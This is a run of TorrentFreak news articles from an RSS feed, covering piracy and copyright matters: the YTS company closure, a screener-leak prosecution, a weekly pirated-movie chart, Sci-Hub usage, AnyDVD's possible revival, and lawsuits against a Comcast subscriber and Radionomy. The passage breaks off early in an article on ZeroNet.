<p><center><a href="media/4293eef7.yify-companies.png" data-original-source="http://torrentfreak.com/images/yify-companies.png" rel="attachment wp-att-118470"><img src="media/4293eef7.yify-companies.png" data-original-source="http://torrentfreak.com/images/yify-companies.png" alt="yify-companies" width="650" height="831" class="aligncenter size-full wp-image-118470"></a></center></p>
<p>The company&#8217;s address in the UK is 20-22, Wenlock Road, London, but searching there for a torrent site would prove somewhat pointless. That location is a so-called &#8216;<a href="http://www.londonpresence.com/about-us/">virtual office</a>&#8216; that offers customers a London presence for a small fee, along with mail forwarding, telephone answering and fax forwarding services if required.</p>
<p>Born in 1994, the sole director of YTS (RE) Ltd is listed as a New Zealand national holding the somewhat predictable status of &#8220;programmer&#8221;. Presumably &#8216;torrent site operator&#8217; would be a little too obvious, even if the company name gives things away somewhat.</p>
<p>Last Tuesday the Registrar of Companies filed its response to the official shut down request, confirming the closure of YTS (RE) Ltd in two months&#8217; time barring any complications.</p>
<p><Center><a href="media/41404180.yify-gone.png" data-original-source="http://torrentfreak.com/images/yify-gone.png" rel="attachment wp-att-118480"><img src="media/41404180.yify-gone.png" data-original-source="http://torrentfreak.com/images/yify-gone.png" alt="yify-gone" width="650" height="547" class="aligncenter size-full wp-image-118480"></a></center></p>
<p>If the company has any assets at all one might assume they will have already been handed to the MPAA as part of the YTS settlement, as the site&#8217;s YTS.to domain already has. However, if anything is left over the ownership of those items will transfer to the state. </p>
<p>In line with tradition the application for strike off has already been published in <a href="https://en.wikipedia.org/wiki/The_London_Gazette">The London Gazette</a> <a href="media/e335fc29.data.pdf" data-original-source="https://www.thegazette.co.uk/London/issue/825063/supplement/119/data.pdf"><em>(pdf)</em></a>, which to our knowledge marks the first time that a torrent site has appeared in the journal since it was first published in 1665.</p>
<p>Interestingly, YTS isn&#8217;t the only torrent site with roots in a UK company. <a href="https://beta.companieshouse.gov.uk/company/09390488/filing-history">EZCloud Ltd</a> is listed in the site&#8217;s <a href="http://whois.domaintools.com/eztv.ag">WHOIS details</a> as the owner of torrent site EZTV.ag.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118558
title: FBI Busts Movie Industry Insider for DVD Screener Leaks
uri: FBI-Busts-Movie-Industry-Insider-for-DVD-Screener-Leaks
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/nj0-K6ibqt0/
content:
<p><img src="media/e21f211d.fbianti.jpg" data-original-source="http://torrentfreak.com/images/fbianti.jpg" alt="fbianti" width="225" height="207" class="alignright size-full wp-image-115502">Late last December millions of pirates cheered behind their computers as the “screener season” finally got underway.</p>
<p>High quality copies of some of the hottest Hollywood productions <a href="https://torrentfreak.com/the-hateful-eight-and-the-revenant-leaked-online-151221/">appeared online</a>, with some titles even beating their official theatrical release.</p>
<p>The high-profile leaks were put <a href="https://torrentfreak.com/fbi-investigates-hollywood-ties-to-pirated-hateful-eight-screener-151223/">on the radar of the FBI</a> and this week the Justice Department announced that they caught one of the sources, a 31-year old entertainment industry worker.</p>
<p>Kyle Moriarty from Lancaster admitted to copying screeners of The Revenant and The Peanuts Movie, while working on a movie studio lot. Both copies were uploaded to the private BitTorrent tracker Pass The Popcorn (PTP) and found their way to many public sites in the following days.</p>
<p>The U.S. Department of Justice announced that Moriarty has signed a plea agreement which was submitted to a District Court last Friday.</p>
<p>&#8220;&#8230;defendant obtained copies of the copyright-protected films The Revenant and The Peanuts Movie. Each of the films was a “screener,” a disc containing an advance screening copy of a film, which defendant took without authorization while at work,&#8221; the agreement reads. </p>
<p>Moriarty copied the films onto a USB drive and took them home. After encoding the releases he uploaded The Revenant screener and The Peanuts Movie to the PTP tracker, with the username “clutchit.”</p>
<p>The Justice Department reports that both movies were downloaded millions of times following their early release, causing significant damage to the copyright holders.</p>
<p>&#8220;Over one million people have downloaded from peer-to-peer networks the version of The Revenant that defendant uploaded to the Internet. Fox has suffered losses of at least $1.12 million,&#8221; the press release states. </p>
<p><center><strong>Leaked Revenant screener</strong><br></br></center><center><img src="media/41a2d952.therevenant.png" data-original-source="http://torrentfreak.com/images/therevenant.png" alt="therevenant" width="640" height="312" class="alignnone size-full wp-image-115363"></center></p>
<p>The plea agreement doesn&#8217;t identify Moriarty&#8217;s employer but <a href="http://www.thesmokinggun.com/buster/copyright/FBI-busts-revenant-pirate-183297">according</a> to The Smoking Gun he worked as a production coordinator for the “Dr. Phil” show, which shoots close to the Paramount studio. </p>
<p>It remains unclear how the FBI identified Moriarty us the uploader, but according to the plea agreement he uploaded the movies from his home address.</p>
<p>The Lancaster man doesn&#8217;t appear to be connected to the release group Hive-CM8, which <a href="https://torrentfreak.com/leaked-spectre-screener-completes-hollywoods-ruined-christmas-151225/">uploaded the bulk</a> of the leaked screeners last December. Hive-CM8 leaked over a dozen screeners but The Revenant and The Peanuts Movie were not among their releases.</p>
<p>In a statement released to the public, U.S. Attorney Eileen Decker applauds the enforcement efforts, stating that the leaks endangered the local entertainment industries.</p>
<p>“As the Academy Awards ceremony this weekend highlights, the entertainment industry is the economic cornerstone of the Central District of California. Therefore, my office is committed to protecting its intellectual property,” Decker notes. </p>
<p>“The defendant’s conduct harmed the very industry that was providing his livelihood as well as the livelihood of others in Southern California,” she adds.</p>
<p>Moriarty is scheduled to be arraigned next month and faces a maximum prison sentence of three years.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118578
title: Top 10 Most Pirated Movies of The Week – 02/29/16
uri: Top-10-Most-Pirated-Movies-of-The-Week-02-29-16
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/hrEEEdmAb_U/
content:
<p><img src="media/c90c8293.deadpool.jpg" data-original-source="http://torrentfreak.com/images/deadpool.jpg" alt="deadpool" width="300" height="203" class="alignright size-full wp-image-118234">This week we have two newcomers in our chart. </p>
<p>Deadpool is the most downloaded movie for the second week in a row.</p>
<p>The data for our weekly download chart is estimated by TorrentFreak, and is for informational and educational reference only. All the movies in the list are BD/DVDrips unless stated otherwise.</p>
<p><a href="http://TorrentFreak.com/category/dvdrip/feed/"><strong>RSS feed</strong></a> for the weekly movie download chart.</p>
<table class="css hover">
<thead>
<tr>
<th width="12%"><strong>Ranking</strong></th>
<th width="15%"><strong>(<a href="https://torrentfreak.com/top-10-pirated-movies-week-022216/">last week</a>)</strong></th>
<th><strong>Movie</strong></th>
<th width="18%"><strong>IMDb Rating / Trailer</strong></th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="4">torrentfreak.com</td>
</tr>
</tfoot>
<tbody>
<tr>
<td><strong>1</strong></td>
<td>(1)</td>
<td><a href="http://www.rottentomatoes.com/m/deadpool/">Deadpool</a> (HDTS) </td>
<td><a href="http://www.imdb.com/title/tt1431045/">8.6</a> / <a href="https://www.youtube.com/watch?v=ZIM1HydF9UA">trailer</a></td>
</tr>
<tr>
<td><strong>2</strong></td>
<td>(7)</td>
<td><a href="http://www.rottentomatoes.com/m/kung_fu_panda_3/">Kung Fu Panda 3</a> (Webrip)</td>
<td><a href="http://www.imdb.com/title/tt2267968/">8.0</a> / <a href="https://www.youtube.com/watch?v=fGPPfZIvtCw">trailer</a></td>
</tr>
<tr>
<td><strong>3</strong></td>
<td>(3)</td>
<td><a href="http://www.rottentomatoes.com/m/victor_frankenstein_2015/">Victor Frankenstein</a>  </td>
<td><a href="http://www.imdb.com/title/tt1976009/">6.1</a> / <a href="https://www.youtube.com/watch?v=2vqNOZIbIRM">trailer</a></td>
</tr>
<tr>
<td><strong>4</strong></td>
<td>(6)</td>
<td><a href="http://www.rottentomatoes.com/m/the_big_short/">The Big Short</a> (Web-DL)</td>
<td><a href="http://www.imdb.com/title/tt1596363/">8.1</a> / <a href="https://www.youtube.com/watch?v=rDlYm15ztK4">trailer</a></td>
</tr>
<tr>
<td><strong>5</strong></td>
<td>(2)</td>
<td><a href="http://www.rottentomatoes.com/m/creed_2015/">Creed</a>  </td>
<td><a href="http://www.imdb.com/title/tt3076658/">8.0</a> / <a href="https://www.youtube.com/watch?v=JQ9OhBYjTds">trailer</a></td>
</tr>
<tr>
<td><strong>6</strong></td>
<td>(5)</td>
<td><a href="http://www.rottentomatoes.com/m/spectre_2015/">Spectre</a> </td>
<td><a href="http://www.imdb.com/title/tt3682448/">7.9</a> / <a href="https://www.youtube.com/watch?v=mBBuzHrZBro">trailer</a></td>
</tr>
<tr>
<td><strong>7</strong></td>
<td>(4)</td>
<td><a href="http://www.rottentomatoes.com/m/ride_along_2/">Ride Along 2</a> </td>
<td><a href="http://www.imdb.com/title/tt2869728/">5.8</a> / <a href="https://www.youtube.com/watch?v=iWfmmwdCHTg">trailer</a></td>
</tr>
<tr>
<td><strong>8</strong></td>
<td>(&#8230;)</td>
<td><a href="http://www.rottentomatoes.com/m/crouching_tiger_hidden_dragon_sword_of_destiny_2016/">Crouching Tiger, Hidden Dragon: Sword of Destiny</a> </td>
<td><a href="http://www.imdb.com/title/tt2652118/">6.5</a> / <a href="https://www.youtube.com/watch?v=WdhvxJZDqzU">trailer</a></td>
</tr>
<tr>
<td><strong>9</strong></td>
<td>(9)</td>
<td><a href="http://www.rottentomatoes.com/m/the_revenant_2015/">The Revenant</a> (DVDscr) </td>
<td><a href="http://www.imdb.com/title/tt1663202/">8.2</a> / <a href="https://www.youtube.com/watch?v=LoebZZ8K5N0">trailer</a></td>
</tr>
<tr>
<td><strong>10</strong></td>
<td>(&#8230;)</td>
<td><a href="http://www.rottentomatoes.com/m/in_the_heart_of_the_sea/">In The Heart of The Sea</a>  </td>
<td><a href="http://www.imdb.com/title/tt1390411/">7.0</a> / <a href="https://www.youtube.com/watch?v=K-H35Mpj4uk">trailer</a></td>
</tr>
</tbody>
</table>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118341
title: Sci-Hub Helps Science ‘Pirates’ to Download 100,000s of Papers Per Day
uri: Sci-Hub-Helps-Science-Pirates-to-Download-100-000s-of-Papers-Per
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/BQNsvt1iiGg/
content:
<p><img src="media/398ad51b.scilogo.jpg" data-original-source="http://torrentfreak.com/images/scilogo.jpg" alt="scilogo" width="222" height="222" class="alignright size-full wp-image-118526">“Information wants to be free” is a commonly used phrase in copyright debates. While it may not apply universally, in the academic world it’s certainly relevant.</p>
<p>Information and knowledge are the cornerstones of science. Yet, a lot of top research is locked up behind expensive paywalls.</p>
<p>As with most digital content, however, there are specialized sites that offer free and unauthorized access. In the academic world <a href="http://www.sci-hub.cc/">Sci-Hub</a> has become an icon for this pirate version of &#8220;Open Access.&#8221; </p>
<p>Early last year one of the largest academic publishers, Elsevier, <a href="https://torrentfreak.com/elsevier-cracks-down-on-pirated-scientific-articles-150609/">filed a complaint</a> at a New York District Court accusing the sites’ operators of systematic copyright infringement.</p>
<p>However, instead of stopping the site the case raised its profile, putting it at the center of a debate about paywalled research.  As a classic demonstration of the <a href="https://en.wikipedia.org/wiki/Streisand_effect">Streisand effect</a> the site&#8217;s userbase grew while many academics publicly showed their support.</p>
<p>According to Sci-Hub&#8217;s founder <a href="https://torrentfreak.com/sci-hub-tears-down-academias-illegal-copyright-paywalls-150627/">Alexandra Elbakyan</a> tens of thousands of people now use the site to download papers. On an average day last week 69,532 users downloaded 217,276 different papers, all without paying a penny. </p>
<p>India, China, Iran, the United States and Russia are the top download locations according to data shared with TorrentFreak. In most of these countries academics have limited access to research papers due to high costs or other restrictions, with the U.S. being an unusual exception.</p>
<p><center><strong>Sci-Hub</strong><br></br></center><center><img src="media/e09da4f5.sci-hublarge.jpg" data-original-source="http://torrentfreak.com/images/sci-hublarge.jpg" alt="sci-hublarge" width="600" height="355" class="alignnone size-full wp-image-118525" srcset="http://torrentfreak.com/images/sci-hublarge-220x130.jpg 220w, http://torrentfreak.com/images/sci-hublarge.jpg 600w" sizes="(max-width: 600px) 100vw, 600px"></center></p>
<p>Perhaps even more important than the massive number of users is the lively debate around Sci-Hub and copyright&#8217;s role in academic publishing.</p>
<p>Sci-Hub&#8217;s efforts are backed by many prominent scholars, <a href="http://bjoern.brembs.net/2016/02/sci-hub-as-necessary-effective-civil-disobedience/">who argue</a> that tax-funded research should be accessible to everyone. Others <a href="https://thewinnower.com/papers/3489-signal-not-solution-notes-on-why-sci-hub-will-not-open-access">counter</a> that the site doesn&#8217;t necessarily help the Open Access movement forward.  </p>
<p>Elbakyan <a href="https://engineuring.wordpress.com/2016/02/24/why-sci-hub-is-the-true-solution-for-open-access-reply-to-criticism/">defends</a> her position and believes that what she does is helping millions of less privileged researchers to do their work properly by providing free access to research results. </p>
<p>Meanwhile, with the debate heating up Elsevier may regret having filed their lawsuit in the first place. It&#8217;s clear that whatever verdict the U.S. court announces in the future Sci-Hub is not going to shut down anytime soon. </p>
<p>A <a href="https://torrentfreak.com/court-orders-shutdown-of-libgen-bookfi-and-sci-hub-151102/">preliminary injunction</a> already prohibits Elbakyan from operating the site (without any effect), and the site has shown that it can easily <a href="https://torrentfreak.com/sci-hub-and-libgen-resurface-after-being-shut-down-151121/">switch to new domain names</a> when needed.</p>
<p>And with the mainstream media now showing interest in the case, Sci-Hub is expected to grow its presence during the months to come.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118581
title: AnyDVD Admins & Developers Mull Comeback
uri: AnyDVD-Admins-Developers-Mull-Comeback
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/qxiR6Ex--o4/
content:
<p><img src="media/ed830e1a.anydvdlogo.jpg" data-original-source="https://torrentfreak.com/images/anydvdlogo.jpg" width="250" height="250" class="alignright">Following pressure from AACS LA, the decryption licensing outfit founded by companies including Warner Bros, Disney, Microsoft and Intel, last week copy-protection circumvention company SlySoft <a href="https://torrentfreak.com/popular-blu-ray-ripper-shuts-down-following-legal-pressure-160224/">shutdown</a>.</p>
<p>Unusually, the precise reasons for the closure remain uncertain. The only comment made by the company suggests that &#8220;regulatory requirements&#8221; had caused it to close down. There has been no triumphant announcement from the MPAA either.</p>
<p>That is unusual. One of SlySoft&#8217;s flagship products was AnyDVD, a Blu-ray ripping tool that was recently described by the studios as &#8220;a source for widespread, large-scale and commercial copyright infringement.&#8221; With that product now not on sale, one might think there would be at least some cause for celebration. However, something seems amiss.</p>
<p>For example, while SlySoft as a company says it has shut down, its <a href="https://forum.slysoft.com">forums</a> are still operating from a subdomain of SlySoft.com. Interestingly they have just been renamed to RedFox, a nod to the creature depicted in SlySoft&#8217;s logo, and the discussion there is certainly providing food for thought and cause for optimism.</p>
<p>Firstly, according to people closely associated with SlySoft, even some key personnel weren&#8217;t informed of any potential problems with the company. Only adding to the intrigue is the claim that although SlySoft was shutdown in Antigua, none of the team were based there.</p>
<p>&#8220;We all were shocked when [the] message came on Monday to shut down [the] SlySoft website. Staff [still have] no complete information about what really happened and what&#8217;s going on in Antigua, as nobody of the SlySoft team is physically based in Antigua. We don&#8217;t even know each other,&#8221; says an admin identifying himself as &#8216;Ivan&#8217;.</p>
<p>Being scattered in different jurisdictions certainly has its plus points though and Ivan suggests that following lengthy discussion, big things could be on the horizon.</p>
<p>&#8220;We (developers and admins) had a few chat conferences this week and we came to the conclusion that if we have the backup of the community, we might consider to continue the development on our own,&#8221; he says.</p>
<p>While that is good news for AnyDVD fans, also of interest is that former employees of SlySoft still have access to key Slysoft infrastructure. </p>
<p>James, a now ex-SlySoft developer who says he is &#8220;probably the only person on this planet who can actually create an AnyDVD HD release build&#8221; says that ex-employees have &#8220;control over the assets (sources, servers)&#8221;.</p>
<p>But while that&#8217;s well and good, he seems less clear over whether those people are free to use them. Furthermore, there are questions over who legally owns AnyDVD if SlySoft itself is out of business.</p>
<p>&#8220;If AnyDVD was property of SlySoft, Inc and SlySoft no longer exists, who owns AnyDVD?&#8221; he asks.</p>
<p>So at this point questions are being asked based on two theories, or more, depending on how many one is prepared to entertain in this informational vacuum.</p>
<p>Firstly, if SlySoft shut down of its own accord, the company could potentially take legal action against any person resurrecting their products. However, it appears that SlySoft hasn&#8217;t parted company with its employees as smoothly as they might have liked, so loyalties don&#8217;t appear to be high on the agenda.</p>
<p>&#8220;SlySoft, Inc. owes us quite a lot of money, so morally I don&#8217;t have too much of a problem,&#8221; James says.</p>
<p>While SlySoft may or may not sue, if the shutdown was part of a settlement negotiated with AACS LA and/or the MPAA, it&#8217;s feasible those entities might have control of the rights to products including AnyDVD, or at least an agreement that controls their distribution and development.</p>
<p>However, according to key AnyDVD developer James, the latter scenario has not played out.</p>
<p>&#8220;I am quite sure, there is no settlement with AACS. The situation would be completely different,&#8221; he says.</p>
<p>So what for the future? At this point it&#8217;s clearly early days but it does appear that key people with the ability to resurrect products such as AnyDVD are seriously considering their options.</p>
<p>&#8220;I mostly worked on AnyDVD, this is my &#8216;baby&#8217;. I can push this forward,&#8221; James says.</p>
<p>&#8220;I certainly can&#8217;t do this on my own. e.g., I can&#8217;t maintain the server side, my skills are elsewhere. The other guys (network gurus, other devs, support people, forum mods) need to agree. I have some homework to do now. I&#8217;m certain that most of the ex-SlySoft people will agree to move forward.&#8221;</p>
<p>This turn of events is not entirely unexpected but there is a long road ahead littered with dozens of obstacles for anyone considering a &#8220;RedFox&#8221; revival. Nevertheless, with the possibility of <a href="https://torrentfreak.com/pirate-groups-fear-release-delays-after-anydvd-shutdown-160227/">release delays on the horizon</a>, thousands will be cheering them on and that will be a hell of a boost.</p>
<p><strong>Update: At the time up this update </strong><a href="http://slysoft.com/en/">SlySoft.com</a> is back online (even if only temporarily) although at the moment any attempt to download software is met with an error. </p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118598
title: Microsoft Sues Pirating Comcast Subscriber
uri: Microsoft-Sues-Pirating-Comcast-Subscriber
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/FTwNFmPsbEk/
content:
<p><img src="media/b4f20436.microsoft-pirate.png" data-original-source="http://torrentfreak.com/images/microsoft-pirate.png" alt="microsoft-pirate" width="225" height="137" class="alignright size-full wp-image-51663">Traditionally, Microsoft isn&#8217;t known for going after people who use pirated copies of Windows, but every now and then the company draws a line in the sand.</p>
<p>Late last week Microsoft filed a copyright infringement lawsuit against a person, or persons, who activated pirated copies of Windows 7, Windows 8, Windows Server and Office 10 from a Comcast Internet connection.</p>
<p>The software company has a specialized cyberforensics department which analyzes activation logs to detect activation patterns and characteristics which make it likely that certain IP-addresses are engaged in unauthorized copying.</p>
<p>&#8220;Cyberforensics allows Microsoft to analyze billions of activations of Microsoft software and identify activation patterns and characteristics that make it more likely than not that the IP address associated with the activations is an address through which pirated software is being activated,&#8221; the company writes in its complaint.</p>
<p>Generally speaking, one person who activates a pirated copy of Windows has little to worry about. Microsoft will log those IP-addresses but has shown little interest in going after casual pirates.</p>
<p>However, in this case the company noticed that a lot of suspicious activity was coming from a single Comcast connection.</p>
<p>&#8220;Microsoft’s cyberforensics have identified several thousand product key activations originating from IP address 173.11.224.197, which is presently assigned to Comcast Cable Communications,&#8221; Microsoft writes.</p>
<p>&#8220;On information and belief, each of these activations and attempted activations constitutes the unauthorized copying of Microsoft software, in violation of Microsoft’s software licenses and its intellectual property rights.&#8221;</p>
<p>According to the complaint the suspicious keys were likely stolen from Microsoft’s supply chain and used more often than permitted by the company. </p>
<p>In order to pinpoint the culprit, Microsoft has asked the court for a subpoena to identify the Comcast subscriber in question. It then hopes to recoup some of its claimed losses by requesting both actual and statutory damages. </p>
<p>From the descriptions used in the complaint it seems likely that the target is a company, rather than an individual user. Microsoft previously filed similar cases where the defendants turned out to be computer-related businesses. </p>
<p>The full compliant is <a href="media/327197b9.micropirate.pdf" data-original-source="http://torrentfreak.com/images/micropirate.pdf">available here</a>.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118621
title: Operator of Sweden’s Largest Streaming Site Arrested on Secret European Warrant
uri: Operator-of-Sweden-s-Largest-Streaming-Site-Arrested-on-Secret-Europ
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/e7oZNhLsqIU/
content:
<p><img src="media/d707f101.swefilmlogo.png" data-original-source="https://torrentfreak.com/images/swefilmlogo.png" width="180" height="111" class="alignright">Founded in 2011, Swefilmer was Sweden’s most popular streaming movie and TV show site. Research published last year by Media Vision claimed that 25% of all web TV viewing in the country was carried out on Swefilmer and another similar site, Dreamfilm.</p>
<p>All that began to change in July 2015 when one of the site&#8217;s operators, local man Ola Johansson, revealed that he&#8217;d been raided by the police who seized various items of computer equipment and placed him under arrest.</p>
<p>“It’s been a tough month to say the least. On 8 July, I received a search by the police at home. I lost a computer, mobile phone and other things,” Johansson said.</p>
<p>The gravity of the situation became clear when the Swede <a href="https://torrentfreak.com/swedens-largest-streaming-site-will-close-after-raid-150729/">revealed</a> in a video posted to YouTube that he&#8217;d been detained for almost four days.</p>
<p>Now, fresh news coming out of from Sweden is shining new light on the scale of the investigation which is already the largest involving a streaming site in the country.</p>
<p>While Johansson remains suspected of copyright infringement offenses, he is not thought to be the main person behind the site. A second man, believed to be the main operator of Swefilmer and the person who handled its revenue, has now been arrested in Germany.</p>
<p>According to <a href="http://www.expressen.se/noje/man-bakom-swefilmer-har-gripits-i-tyskland/">Expressen</a> he was first arrested in his absence last summer and was physically arrested in January 2016 after Sweden obtained a European arrest warrant. The existence of the warrant had previously been kept secret and news of the arrest only came to light last evening.</p>
<p>The man is reportedly a 25-year-old Turkish citizen resident in Germany. He is accused of being the site&#8217;s main operator and the person who setup the site&#8217;s deals with advertisers and accepted donations from users.</p>
<p>Court documents obtained by Expressen show that the European arrest warrant was obtained in Sweden on August 18, 2015. Signed by veteran file-sharing prosecutor Fredrik Ingblad, the 25-year-old suspect is accused of offenses including copyright infringement and aggravated money laundering.</p>
<p>The case involves a sample 1,400 movies that were allegedly made available without copyright holders&#8217; permission between January 2013 and July 2015. In respect of the financial crimes the man is accused of receiving the equivalent of $1.7m in advertising revenue and donations into a Turkish bank account.</p>
<p>An order already exists to seize around $1.5m, which will be confiscated in preparation for any financial settlements when the case goes to trial. In January other seizures were made including a $77,000 car and properties worth $233,000.</p>
<p>The man remains in custody in Germany and it&#8217;s understood that his lawyer is campaigning for his release. Last month he filed an appeal which stated that no evidence had been produced to suggest the man was involved in Swefilmer. The appeal was rejected.</p>
<p>In the meantime Claes Kennedy, the lawyer representing Ola Johansson, expressed surprise that he had not been informed of the recent developments.</p>
<p>&#8220;It is strange that I was not informed about this,&#8221; Kennedy said. &#8220;Ola admits that he has been involved to some extent in the site Swefilmer, but his involvement was limited.&#8221;</p>
<p>While the prosecution is not expected to reach Pirate Bay-style heights, it does mark the most significant case against a streaming portal in Sweden to date. There is some way to go but it&#8217;s expected that the prosecution will demand the most severe sentences available.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118627
title: Record Labels Sue Radionomy Over DIY ‘Pirate’ Internet Radio
uri: Record-Labels-Sue-Radionomy-Over-DIY-Pirate-Internet-Radio
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/OoNK1CnwGBE/
content:
<p><img src="media/7abb2d22.cassette.jpg" data-original-source="http://torrentfreak.com/images/cassette.jpg" alt="cassette" width="200" height="150" class="alignright size-full wp-image-84245">In recent years the music industry‘s battle against piracy mostly focused on torrent sites, cyberlockers and unauthorized MP3 indexes.</p>
<p>However, those are certainly not the only &#8216;threats&#8217; it faces. Online radio stations, often operated by hobbyists, also remain a concern.</p>
<p>This has prompted a coalition of record labels to file a lawsuit against <a href="https://www.radionomy.com/en">Radionomy</a>, a platform that allows users to start their own online radio stations. </p>
<p>In their complaint filed at a California federal court Arista Records, LaFace Records, Sony Music Entertainment and Zomba Recording accuse the service of several forms of copyright infringement.</p>
<p>Radionomy, which also owns Winamp and Shoutcast, offers between 30,000 and 50,000 radio stations which are controlled by its users. These stations are freely broadcasted online through a variety of sites and apps.</p>
<p>&#8220;Defendants operate an online music service through which users can listen to music stations, or create stations, that Defendants stream to listeners worldwide,&#8221; the complaint reads (<a href="media/279665e8.radionomy.pdf" data-original-source="http://torrentfreak.com/images/radionomy.pdf">pdf</a>). </p>
<p>&#8220;To program music stations on Defendants&#8217; service, users can upload music from their own collection or use music from Defendants&#8217; library of popular music and podcasts.&#8221;</p>
<p>In addition to picking tracks from the Radionomy library, users can also upload their own tracks and stream these online. Listeners from all over the world can then tune in by searching for stations by theme, genre or even artists.</p>
<p>While many users and listeners enjoy the service, the record labels point out that Radionomy fails to pay the proper licenses. As such, they argue that it&#8217;s promoting and facilitating widespread copyright infringement. </p>
<p><center><strong>Searching Radionomy for pirate</strong><br></br></center><center><img src="media/7c1591ca.radiopirate.png" data-original-source="http://torrentfreak.com/images/radiopirate.png" alt="radiopirate" width="600" height="232" class="alignnone size-full wp-image-118651" srcset="http://torrentfreak.com/images/radiopirate-768x297.png 768w, http://torrentfreak.com/images/radiopirate.png 960w" sizes="(max-width: 600px) 100vw, 600px"></center></p>
<p>The labels list hundreds of tracks that were used without permission on Radionomy including work from Adele, Bob, Dylan, Britney Spears, Christina Aguilera, Elvis Presley, John Mayer, Michael Jackson, One Direction, Pink Floyd and Shakira. </p>
<p>&#8220;On January 12, 2016 a station on Defendants&#8217; service, named &#8216;One Direction The Radio,&#8217; played the recordings &#8216;Nobody Compares&#8217; and &#8216;Something Great&#8217; by One  Direction, both of which are Plaintiffs&#8217; owned or exclusively licensed copyrighted works,&#8221; one of the examples reads.</p>
<p>As an example, the labels further mention that Radionomy encourages its users to start popular stations offering rewards for the number of listeners they attract, while canceling the least popular stations.</p>
<p>&#8220;Defendants encourage users to include popular copyrighted recordings in programmed stations by  offering to &#8216;reward&#8217; users with cash payments if they create a station that reaches a large audience and threatening to deactivate users that fail to reach &#8216;minimum audience&#8217; requirements,&#8221; the complaint reads.</p>
<p>Late last year the labels reached out to Radionomy, which is owned by the entertainment industry mogul <a href="https://en.wikipedia.org/wiki/Vivendi">Vivendi</a>, who reportedly admitted that they had not paid royalties to SoundExchange since 2014. Despite these talks, no agreement was reached on the issue. </p>
<p>The music companies now hope to get help from the court and are requesting a permanent injunction against the radio service, as well as damages which can easily add up to dozens of millions of dollars.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118618
title: Play: A P2P Distributed Torrent Site That’s Impossible to Shut Down
uri: Play-A-P2P-Distributed-Torrent-Site-That-s-Impossible-to-Shut-Down
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/7klR08vR0z8/
content:
<p><a href="media/31ca11f8.zeronet-small.jpg" data-original-source="http://torrentfreak.com/images/zeronet-small.jpg" rel="attachment wp-att-118643"><img src="media/31ca11f8.zeronet-small.jpg" data-original-source="http://torrentfreak.com/images/zeronet-small.jpg" alt="zeronet-small" width="185" height="168" class="alignright size-full wp-image-118643"></a>More than two years ago The Pirate Bay <a href="https://torrentfreak.com/how-the-pirate-bay-plans-to-beat-censorship-for-good-140105/">revealed a plan</a> to revolutionize its status on the web. Continually dogged by the threat of shutdown and blocking, the site&#8217;s operators said they were working on a plan to create their own P2P network.</p>
<p>The concept is certainly interesting. When a user loads a website on the network that data will be also be served to other users accessing the site from the user&#8217;s machine. In BitTorrent terms, people accessing the site (leechers) also serve the site (seeders) to other users, meaning that there is no central server and no one point of failure.</p>
<p>While The Pirate Bay&#8217;s plan hasn&#8217;t come to fruition, others have been working on a similar system. Based out of Budapest, Hungary,  <a href="https://github.com/HelloZeroNet">Zeronet</a> offers &#8220;real-time updated, P2P websites using Bitcoin cryptography and the BitTorrent network.&#8221; The slide below describes some of the key features.</p>
